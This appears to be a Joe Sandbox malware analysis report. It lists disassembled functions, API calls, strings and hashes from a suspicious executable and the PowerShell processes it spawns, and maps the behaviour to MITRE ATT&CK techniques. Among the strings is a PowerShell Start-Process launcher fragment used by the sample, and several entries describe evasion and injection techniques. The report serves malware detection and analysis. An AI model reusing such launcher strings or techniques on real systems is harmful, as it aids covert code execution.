Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: FeaturePresentProcessor__raise_securityfailurecapture_previous_context
String ID: |~fqVG
API String ID: 838830666-3303519982
Opcode ID: 8f39b5177f6e80c2221c5f36804a185fc02c589c5f1ea84ef111a43d1bcd6447
Instruction ID: b8872bd7cc87619e5c899dc32405f9cde722881725bc102cade366a9a6e6c210
Opcode Fuzzy Hash: 8f39b5177f6e80c2221c5f36804a185fc02c589c5f1ea84ef111a43d1bcd6447
Instruction Fuzzy Hash: DC210838A19B46A1FB40AB18F953364A6B4FB95344FD111BAD98E823A1DF3CE415E320

Function 00007FF73A3F6AA4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF73A3F6D26), ref: 00007FF73A3F6ABA
GetProcAddress.KERNEL32(?,?,?,00007FF73A3F6D26), ref: 00007FF73A3F6ACA

Strings

kernel32.dll, xrefs: 00007FF73A3F6AB3
GetTempPath2W, xrefs: 00007FF73A3F6AC0

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetTempPath2W$kernel32.dll
API String ID: 1646373207-1846531799
Opcode ID: 6c157fc2c9eb0bafc852afba0f6158d2a57fd74ca7526d9592526048dfbc2ed9
Instruction ID: 26418f40d8cc25dbabd78821e204894f7a5da3deacef23bc20a4b32f7c333fc2
Opcode Fuzzy Hash: 6c157fc2c9eb0bafc852afba0f6158d2a57fd74ca7526d9592526048dfbc2ed9
Instruction Fuzzy Hash: 8AE09BE5B04A06A1FE04AB19F985034A321FF58F84BE64075C61D47324DF3CD4489310

Function 00007FF73A3F6C40 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF73A3F6C89
GetLastError.KERNEL32 ref: 00007FF73A3F6C97
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF73A3F5699), ref: 00007FF73A3F6CCC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00007FF73A3F5699), ref: 00007FF73A3F6CDA

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide
String ID:
API String ID: 203985260-0
Opcode ID: b21d51b5a1aba21564247d1ac1f2f6c5ee14a898047ebc4b39465d7037f73d6f
Instruction ID: 698e9a7021304c9abdcc206c5cc49617b94460116d8eb748f44b63cb8747de73
Opcode Fuzzy Hash: b21d51b5a1aba21564247d1ac1f2f6c5ee14a898047ebc4b39465d7037f73d6f
Instruction Fuzzy Hash: 1D2147BAA28B8286F7609F16A40432EBBB4F799B90F640178DB8853B54CF3CD4019B14

Function 00007FF73A40A89C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73A40A8CC

Part of subcall function 00007FF73A3FF778: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF73A3FF727,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A3FF781
Part of subcall function 00007FF73A3FF778: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF73A3FF727,?,?,?,?,?,00007FF73A3FF612), ref: 00007FF73A3FF7A6

Strings

|~fqVG, xrefs: 00007FF73A40AC7E
*?, xrefs: 00007FF73A40A8F7

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: *?$|~fqVG
API String ID: 4036615347-3823916928
Opcode ID: e317457474b60fced0dcf58a211e7257d8554f8782003dca67dc30602de006f2
Instruction ID: 445651a19fa054abb4c8c91c5ab2299e68e85ecc3634d096f96203b0d599ab2b
Opcode Fuzzy Hash: e317457474b60fced0dcf58a211e7257d8554f8782003dca67dc30602de006f2
Instruction Fuzzy Hash: F051186AF0865261FF10FA6989022BCE791AF44BE4F864571DE0C17BC5DE7CE445B322

Function 00007FF73A3FBFBC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF73A3FBFE6

Strings

csm, xrefs: 00007FF73A3FC00B
csm, xrefs: 00007FF73A3FC17A

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: ae2a62215a58026a0886f6dcf9f8c2e93cb3e5654c84a92589a235d849fb530a
Instruction ID: 03f3d5154c10e3820b1b2597844cb66582c2c4e7351ff38b5862313e1b1c8def
Opcode Fuzzy Hash: ae2a62215a58026a0886f6dcf9f8c2e93cb3e5654c84a92589a235d849fb530a
Instruction Fuzzy Hash: 7271F33A91A68396FF20AF25E4496B9FBA0FB04B84F948179DE4C47685CF3CD491D710

Function 00007FF73A3FC654 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF73A3FC6FE
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF73A3FC727

Strings

csm, xrefs: 00007FF73A3FC827

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: 07cf4bfd112d551ea8757e3c0906a061ffaf6e6ee70d054fe60862b4d3bcdff6
Instruction ID: 16dcfb0cb853995f9704137aeb654b60f62f5e20020f7a07a187238c32a10962
Opcode Fuzzy Hash: 07cf4bfd112d551ea8757e3c0906a061ffaf6e6ee70d054fe60862b4d3bcdff6
Instruction Fuzzy Hash: 4C51943AA2A78296EE60EF15E04126DB7A4F788B90F500179DF8D07B56CF3DE091DB10

Function 00007FF73A3F66C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF73A3F683D
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF73A3F6843

Strings

powershell.exe -Command "Start-Process ', xrefs: 00007FF73A3F67A7

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: powershell.exe -Command "Start-Process '
API String ID: 73155330-2541463610
Opcode ID: a5299bd422f5f1b3716e720325969913c96f5c5db3bfe6c2e7d02a0ae3824b60
Instruction ID: 33c58c523a3db65d0f4f562ace6193a021dbafc5b66a689e823c96750e024711
Opcode Fuzzy Hash: a5299bd422f5f1b3716e720325969913c96f5c5db3bfe6c2e7d02a0ae3824b60
Instruction Fuzzy Hash: 20410329B29A83A1FE10AB16D1062B8E392AB44BE0FD40739CA6D07BD5DF3CE0459310

Function 00007FF73A40559C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF73A405666
GetLastError.KERNEL32 ref: 00007FF73A405682

Strings

|~fqVG, xrefs: 00007FF73A4055B7

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: |~fqVG
API String ID: 442123175-3303519982
Opcode ID: f25231167171d47a22d98216323ecf5abc3b8e7603e18d8075592a42be890438
Instruction ID: d2c00cb99d286d6f04c241f762b708e89d34c395fc7558ee7a6e5fcc851aeecd
Opcode Fuzzy Hash: f25231167171d47a22d98216323ecf5abc3b8e7603e18d8075592a42be890438
Instruction Fuzzy Hash: 273124B6B18A41A6EB10EF19E4452A9F3A0FB58780F868432EF4D83754DF3CD551EB11

Function 00007FF73A405498 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF73A40554B
GetLastError.KERNEL32 ref: 00007FF73A405567

Strings

|~fqVG, xrefs: 00007FF73A4054B3

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: |~fqVG
API String ID: 442123175-3303519982
Opcode ID: 7f7ef8b8a0101605542e277cdf2f4420d232ace2cd414a122261941e7e2c3063
Instruction ID: 1aab99e4a6802e82a4a33b082212641042c01e0ac4c18b618cd7e4c0c73ec159
Opcode Fuzzy Hash: 7f7ef8b8a0101605542e277cdf2f4420d232ace2cd414a122261941e7e2c3063
Instruction Fuzzy Hash: 62310576A18A81A6EB10EF29E4412A8F761FB58780F858072DB4E83718DF3CD511EB12

Function 00007FF73A40AFBC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF73A40AFF7
GetLastError.KERNEL32 ref: 00007FF73A40B001

Strings

|~fqVG, xrefs: 00007FF73A40AFD6

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: |~fqVG
API String ID: 2776309574-3303519982
Opcode ID: de0e64f43b465e6125156f975df279208e46a0d371bd7b19554ee6903d073bea
Instruction ID: 6c1d4522ce72bdf8d39494957af16ffa65827188fd820bc62f25983a8ca0058e
Opcode Fuzzy Hash: de0e64f43b465e6125156f975df279208e46a0d371bd7b19554ee6903d073bea
Instruction Fuzzy Hash: AF31D236618B819AF720EB29E4013ADE7A0F785798F954175DADC43A98CF3CD141EB11

Function 00007FF73A3F9D80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF73A3F11AF), ref: 00007FF73A3F9DD0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF73A3F11AF), ref: 00007FF73A3F9E11

Strings

csm, xrefs: 00007FF73A3F9DFE

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 63a332ca40023c25e9a5d99e6c2caf2710dfa93a35880377e7f0d51da030b8ab
Instruction ID: 02f81af514998deae22705b797deddb65eb2c6f59adcf78eefe54e0d8269e28e
Opcode Fuzzy Hash: 63a332ca40023c25e9a5d99e6c2caf2710dfa93a35880377e7f0d51da030b8ab
Instruction Fuzzy Hash: 42116036619B4292EB609F19F440259BBE4FB98B84FA94274EE8C07758DF3CC551C700

Function 00007FF73A3F1230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF73A3F123B
__std_exception_copy.LIBVCRUNTIME ref: 00007FF73A3F1274

Strings

string too long, xrefs: 00007FF73A3F1234

Memory Dump Source

Source File: 00000000.00000002.3892129159.00007FF73A3F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A3F0000, based on PE: true

Associated: 00000000.00000002.3892081168.00007FF73A3F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892274488.00007FF73A414000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892797670.00007FF73A426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3892867027.00007FF73A429000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a3f0000_12.jbxd

Similarity

API ID: Xinvalid_argument__std_exception_copystd::_
String ID: string too long
API String ID: 2536225881-2556327735
Opcode ID: 7013e128e2125b895d9d66df5116de0737d9dc45951b57089b93d1b7acbd90a4
Instruction ID: 3406c7cdf5d0db5dddcf36d1eba114db7a64d98fd58f84c4adec4d60a31da2f1
Opcode Fuzzy Hash: 7013e128e2125b895d9d66df5116de0737d9dc45951b57089b93d1b7acbd90a4
Instruction Fuzzy Hash: FAE0EDA5A14B05A0FF01AF21E8820A8A320AF28700BD58171DA1C02351EE3CE1E5C310

Analysis Process: powershell.exePID: 6496, Parent PID: 1892COMMON

Executed Functions

Function 00007FF848E933B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3953959245.00007FF848E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff848e90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd856ec6629a9ad3253283359d6c2a881ec7a1311ff8ffeb1e483423fcff176
Instruction ID: 29c1cfa6bac51b81d075f13f06edf054ad2643bd55ff8ec3c5d015a1cc12a693
Opcode Fuzzy Hash: 3dd856ec6629a9ad3253283359d6c2a881ec7a1311ff8ffeb1e483423fcff176
Instruction Fuzzy Hash: 6C01677115CB0D4FDB44EF0CE451AA6B7E0FB95364F10056DE58AC3661DB36E882CB45

Analysis Process: powershell.exePID: 3552, Parent PID: 6496COMMON

Execution Graph

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848F33B9E Relevance: 1.8, Instructions: 1819
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.3969519363.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e293629b2203f6a6ca879fd969a1a5db25f293e5319ea2a173c84bf1759bd14
Instruction ID: a9cd600ddd152dafe2c5d40295941d6f2b1f7e9364f6eb4604bf4a26df498321
Opcode Fuzzy Hash: 9e293629b2203f6a6ca879fd969a1a5db25f293e5319ea2a173c84bf1759bd14
Instruction Fuzzy Hash: DFD2FF31E1DA8A8FE799EB289851678B7E1FF65780F5841FAD00DC72C3DE28AC458705

Function 00007FF848F3418F Relevance: 1.2, Instructions: 1235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.3969519363.00007FF848F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848f30000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f01592cb0fee11d25f49e38f2d338d21d026293b8980dc2317a22cdd84c7f87
Instruction ID: 36ee47fe65c49f76b7d8f70bc882850a8c7148c4c79de4e4c1de159cef75bdde
Opcode Fuzzy Hash: 6f01592cb0fee11d25f49e38f2d338d21d026293b8980dc2317a22cdd84c7f87
Instruction Fuzzy Hash: 6A92EF31E1DA8A8FE799EB688851678B7E1FF65740F5800FAD00DD72C3DE28AC458719

Function 00007FF848E6D324 Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE ref: 00007FF848E6D3CE

Memory Dump Source

Source File: 00000005.00000002.3968700572.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff848e60000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6a7b27e20b6a6e1e0eb4967004cb7f4baab25712d0308fb321a8bfec22d02da7
Instruction ID: 2af9273c77cfea50ed86269d24c011a9061a10b8104bda1446e0101c3f441985
Opcode Fuzzy Hash: 6a7b27e20b6a6e1e0eb4967004cb7f4baab25712d0308fb321a8bfec22d02da7
Instruction Fuzzy Hash: 9D31F53190CA4D8FDB59DF988849BE9BBE0FF65321F04422BD009D3251DB75A805CB91

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

